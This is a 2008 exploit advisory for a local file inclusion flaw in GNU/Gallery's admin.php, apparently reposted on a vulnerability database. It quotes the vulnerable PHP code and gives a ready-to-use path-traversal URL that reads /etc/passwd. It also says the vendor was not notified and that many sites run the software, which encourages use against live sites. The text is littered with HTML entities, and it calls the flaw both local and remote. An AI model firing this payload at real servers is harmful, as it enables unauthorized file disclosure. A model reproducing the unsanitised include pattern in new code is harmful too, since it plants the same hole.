GNU/Gallery <= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability

🗓️ 19 May 2008 00:00:00Reported by RootType

GNU/Gallery 1.1.1.0 admin.php Local File Inclusion Vulnerability Discovered 17 MAY 200


                                                --==+================================================================================+==--
--==+	&nbsp;&nbsp;&nbsp;GNU/Gallery&nbsp;&lt;=&nbsp;1.1.1.0&nbsp;(admin.php)&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--



Discovered&nbsp;By:&nbsp;t0pP8uZz
Discovered&nbsp;On:&nbsp;17&nbsp;MAY&nbsp;2008
Script&nbsp;Download:&nbsp;http://gnugallery.sourceforge.net/
DORK:&nbsp;N/A



Vendor&nbsp;Has&nbsp;Not&nbsp;Been&nbsp;Notified!



DESCRIPTION:&nbsp;

GNU/Gallery&nbsp;suffers&nbsp;from&nbsp;a&nbsp;remote&nbsp;file&nbsp;inclusion&nbsp;vulnerability&nbsp;in&nbsp;the&nbsp;&quot;admin.php&quot;&nbsp;file.



Vulnerable&nbsp;Code:

&lt;?php
if($_GET['show']==&quot;&quot;)&nbsp;{
&nbsp;&nbsp;include(&quot;admin/index.php&quot;);
}&nbsp;else&nbsp;{
&nbsp;&nbsp;include(&quot;admin/&quot;.$_GET['show']);
}
?&gt;



Vulnerability:

http://site.com/admin.php?show=../../../../../../../etc/passwd



NOTE/TIP:&nbsp;

fair&nbsp;amount&nbsp;of&nbsp;sites&nbsp;running,&nbsp;althou&nbsp;no&nbsp;good&nbsp;dork.



GREETZ:&nbsp;milw0rm.com,&nbsp;h4ck-y0u.org,&nbsp;CipherCrew&nbsp;!



peace,&nbsp;t0pP8uZz



--==+================================================================================+==--
--==+	&nbsp;&nbsp;&nbsp;GNU/Gallery&nbsp;&lt;=&nbsp;1.1.1.0&nbsp;(admin.php)&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--

19 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1

GNU/Gallery &lt;= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability

GNU/Gallery <= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability